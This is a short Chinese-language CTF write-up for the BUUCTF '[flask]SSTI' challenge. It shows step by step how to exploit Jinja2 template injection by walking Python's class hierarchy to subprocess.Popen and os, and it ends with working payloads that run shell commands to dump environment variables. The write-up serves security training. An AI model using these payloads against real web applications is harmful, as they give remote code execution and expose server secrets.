Buuctf [flask]SSTI
题目描述:
典型的SSTI注入页面,我们输入49验证一下
可以确定为SSTI注入漏洞
解题思路:
1.先获取类:
1 | {{''.__class__}} |
先使用该payload来获取某个类,这里可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终目的是要获取到基类Object
2.获取基类:
1 | {{''.__class__.__bases__}} |
3.获取基类的所有子类:
1 | {{''.__class__.__bases__.__subclasses__()}} |
1 | import re |
用上述脚本找出可用的类
这里有3个可用的类
os._wrap_close
warnings.catch_warnings
subprocess.Popen
4.在这个类中找他的初始化函数里面的所有全局变量(以上述166为例)
1 | {{''.__class__.__base__.__subclasses__()[166].__init__.__globals__}} |
有危险函数eval
flag在环境变量里?
5.代码执行
1 | {{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()')}} |
1 | {{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('env').read()}} |
1 | {{''.__class__.__base__.__subclasses__()[245]('env',shell=True,stdout=-1).communicate()[0].strip()}} |